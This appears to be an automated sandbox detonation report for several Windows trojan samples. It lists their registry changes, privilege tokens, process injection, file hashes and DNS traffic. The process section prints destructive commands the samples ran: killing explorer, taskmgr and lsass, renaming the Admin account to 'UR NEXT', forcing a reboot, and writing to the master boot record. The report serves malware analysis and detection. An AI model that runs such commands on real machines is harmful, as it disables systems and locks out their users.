File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0" C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\Desktop\Wallpaper C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\icon.ico" C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-275798769-4264537674-1142822080-1000\{231105DA-D766-4D29-8A8C-F62376996064} C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3164 wrote to memory of 4252 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 3164 wrote to memory of 4252 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 3164 wrote to memory of 4252 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe C:\Windows\SysWOW64\cmd.exe
PID 4252 wrote to memory of 4468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4252 wrote to memory of 4468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4252 wrote to memory of 4468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4252 wrote to memory of 3328 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4252 wrote to memory of 3328 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4252 wrote to memory of 3328 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4252 wrote to memory of 3948 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4252 wrote to memory of 3948 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4252 wrote to memory of 3948 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4252 wrote to memory of 2504 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4252 wrote to memory of 2504 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 4252 wrote to memory of 2504 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='UR NEXT'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'UR NEXT'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa3941855 /state1:0x41c64e6d

Network

Country Destination Domain Proto
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 211.143.182.52.in-addr.arpa udp

Files

memory/3164-0-0x0000000074B80000-0x0000000075330000-memory.dmp

memory/3164-1-0x0000000000D30000-0x00000000013DE000-memory.dmp

memory/3164-2-0x0000000006050000-0x0000000006060000-memory.dmp

memory/3164-3-0x0000000006610000-0x0000000006BB4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\windl.bat

MD5 a9401e260d9856d1134692759d636e92
SHA1 4141d3c60173741e14f36dfe41588bb2716d2867
SHA256 b551fba71dfd526d4916ae277d8686d83fff36d22fcf6f18457924a070b30ef7
SHA512 5cbe38cdab0283b87d9a9875f7ba6fa4e8a7673d933ca05deddddbcf6cf793bd1bf34ac0add798b4ed59ab483e49f433ce4012f571a658bc0add28dd987a57b6

memory/3164-11-0x0000000006050000-0x0000000006060000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

memory/3164-22-0x000000000BD30000-0x000000000BD68000-memory.dmp

memory/3164-23-0x000000000BCF0000-0x000000000BCFE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\rniw.exe

MD5 9232120b6ff11d48a90069b25aa30abc
SHA1 97bb45f4076083fca037eee15d001fd284e53e47
SHA256 70faa0e1498461731f873d3594f20cbf2beaa6f123a06b66f9df59a9cdf862be
SHA512 b06688a9fc0b853d2895f11e812c48d5871f2793183fda5e9638ded22fc5dc1e813f174baedc980a1f0b6a7b0a65cd61f29bb16acc6dd45da62988eb012d6877

memory/3164-29-0x000000000BD80000-0x000000000BD90000-memory.dmp

memory/3164-30-0x000000000BD80000-0x000000000BD90000-memory.dmp

memory/3164-32-0x000000000BD80000-0x000000000BD90000-memory.dmp

memory/3164-34-0x000000000BD80000-0x000000000BD90000-memory.dmp

memory/3164-35-0x000000000BD80000-0x000000000BD90000-memory.dmp

memory/3164-36-0x000000000CE10000-0x000000000CE20000-memory.dmp

memory/3164-37-0x000000000CE10000-0x000000000CE20000-memory.dmp

memory/3164-39-0x000000000CE10000-0x000000000CE20000-memory.dmp

memory/3164-41-0x000000000BD80000-0x000000000BD90000-memory.dmp

memory/3164-38-0x000000000BD80000-0x000000000BD90000-memory.dmp

memory/3164-43-0x000000000CE10000-0x000000000CE20000-memory.dmp

memory/3164-42-0x000000000BD80000-0x000000000BD90000-memory.dmp

memory/3164-44-0x000000000CE10000-0x000000000CE20000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

MD5 8794caa036af6a75f6391b04ef129655
SHA1 735c3286d37bccc06f3b59bcec628500d97289cc
SHA256 85067bb06385694e1ac7eae5d17cdd3a090524746c47018569f7a165b5f73ff1
SHA512 13aa0cfffd092a8ccc317707d55f77f07f4d7f403b4dbfe1418794e5481cf217f18aaaae313d99760876e1912fcd3ceb94961506c198ad8cbf358d827438fca1

C:\Users\Admin\AppData\Local\Temp\text.txt

MD5 9037ebf0a18a1c17537832bc73739109
SHA1 1d951dedfa4c172a1aa1aae096cfb576c1fb1d60
SHA256 38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48
SHA512 4fb5c06089524c6dcd48b6d165cedb488e9efe2d27613289ef8834dbb6c010632d2bd5e3ac75f83b1d8024477ebdf05b9e0809602bbe1780528947c36e4de32f

C:\Users\Admin\AppData\Local\Temp\one.rtf

MD5 6fbd6ce25307749d6e0a66ebbc0264e7
SHA1 faee71e2eac4c03b96aabecde91336a6510fff60
SHA256 e152b106733d9263d3cf175f0b6197880d70acb753f8bde8035a3e4865b31690
SHA512 35a0d6d91178ec10619cf4d2fd44d3e57aa0266e1779e15b1eef6e9c359c77c384e0ffe4edb2cde980a6847e53f47733e6eacb72d46762066b3541dee3d29064

memory/3164-863-0x0000000074B80000-0x0000000075330000-memory.dmp

memory/3164-864-0x0000000074B80000-0x0000000075330000-memory.dmp

Analysis: behavioral17

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win7-20240221-en

Max time kernel

1s

Max time network

4s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Network

N/A

Files

memory/1032-1-0x0000000074BF0000-0x00000000752DE000-memory.dmp

memory/1032-0-0x00000000000A0000-0x00000000000B8000-memory.dmp

memory/1032-2-0x0000000004D90000-0x0000000004DD0000-memory.dmp

Analysis: behavioral22

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:26

Platform

win10v2004-20240226-en

Max time kernel

163s

Max time network

174s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2172 wrote to memory of 4360 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe
PID 2172 wrote to memory of 4360 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4801.tmp\4811.tmp\4812.bat C:\Users\Admin\AppData\Local\Temp\Trojan\3PC.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3724 --field-trial-handle=2292,i,2103142837140538807,15881446839139365070,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 196.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 13.107.253.64:443 tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 138.201.86.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 206.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 205.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
GB 142.250.180.10:443 chromewebstore.googleapis.com tcp
US 8.8.8.8:53 10.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 2.173.189.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\4801.tmp\4811.tmp\4812.bat

MD5 ffa0ad441b308bc1da589f8a734e806f
SHA1 704fc5c8773489b91d2f1ef221ab60ecd3257e3e
SHA256 c0f46b9a7fc82f7007adc96523159ae10571a099eeb0cc00eb930e91424a24a1
SHA512 bfeec821a3b26270e52990799d1c525845203ece47989c161cfa9ecf02675122d8bf1ef8dc3f3db199825d50fd6f4ee54312d8bf4ed827681284e715a6fac55b

Analysis: behavioral14

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:25

Platform

win10v2004-20240226-en

Max time kernel

68s

Max time network

100s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

C:\Windows\SysWOW64\taskkill.exe

"C:\Windows\System32\taskkill.exe" /f /im lsass.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 73.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 187.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 198.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/4488-0-0x0000000000490000-0x00000000004B6000-memory.dmp

memory/4488-1-0x0000000074B70000-0x0000000075320000-memory.dmp

memory/4488-2-0x00000000053C0000-0x0000000005964000-memory.dmp

memory/4488-3-0x0000000004EF0000-0x0000000004F82000-memory.dmp

memory/4488-4-0x00000000050D0000-0x00000000050E0000-memory.dmp

memory/4488-5-0x0000000004EC0000-0x0000000004ECA000-memory.dmp

memory/1528-6-0x0000000000400000-0x0000000000412000-memory.dmp

memory/4488-7-0x0000000074B70000-0x0000000075320000-memory.dmp

memory/4488-8-0x00000000050D0000-0x00000000050E0000-memory.dmp

Analysis: behavioral26

Detonation Overview

Submitted

2024-03-16 15:20

Reported

2024-03-16 15:23

Platform

win10v2004-20240226-en

Max time kernel

4s

Max time network

12s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

Signatures

Disables Task Manager via registry modification

evasion

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\Desktop\WallPaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.png" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "125" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent C:\Windows\system32\LogonUI.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" C:\Windows\system32\LogonUI.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.ico" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
